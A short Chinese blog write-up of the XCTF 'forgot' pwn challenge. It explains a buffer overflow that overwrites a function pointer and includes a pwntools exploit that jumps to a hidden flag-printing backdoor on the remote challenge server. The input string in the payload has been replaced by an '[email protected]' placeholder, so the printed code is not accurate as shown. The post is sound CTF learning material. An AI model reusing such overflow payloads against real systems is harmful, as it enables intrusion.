xctf高手进阶第一题

首先,fgets读取v13,然后scanf读取v2,通过程序条件判断发现,输入[email protected]时,程序会执行到v12,覆盖v12即可调用指定地址的函数。
在做题时,进入误区,自己构造system栈帧,结果一直失败,可能有的地方计算错误。writeup里的方法是直接调用后门函数0x80486cc处的函数,直接输出flag。这个后门函数在IDA Pro中没有显示,可以通过objdump -d ./forgot |grep system查找调用system函数的指令地址,再查看IDA中指定地址的程序,从而确定该函数作用是输出flag。
exp:
from pwn import *
p=remote(‘111.198.29.45’,‘36288’)
print p.recv()
p.sendline(‘a’*4)
print p.recv()
payload=“[email protected]”+‘A’*25+p32(0x8048604)+p32(0x8048618)
+p32(0x804862C)+p32(0x8048640)+p32(0x8048654)+p32(0x8048668)
+p32(0x804867C)+p32(0x8048690)+p32(0x80486A4)+p32(0x80486cc)
p.sendline(payload)
print p.recv()

发布了23 篇原创文章 · 获赞 1 · 访问量 1079

猜你喜欢

转载自blog.csdn.net/neuisf/article/details/104076442
今日推荐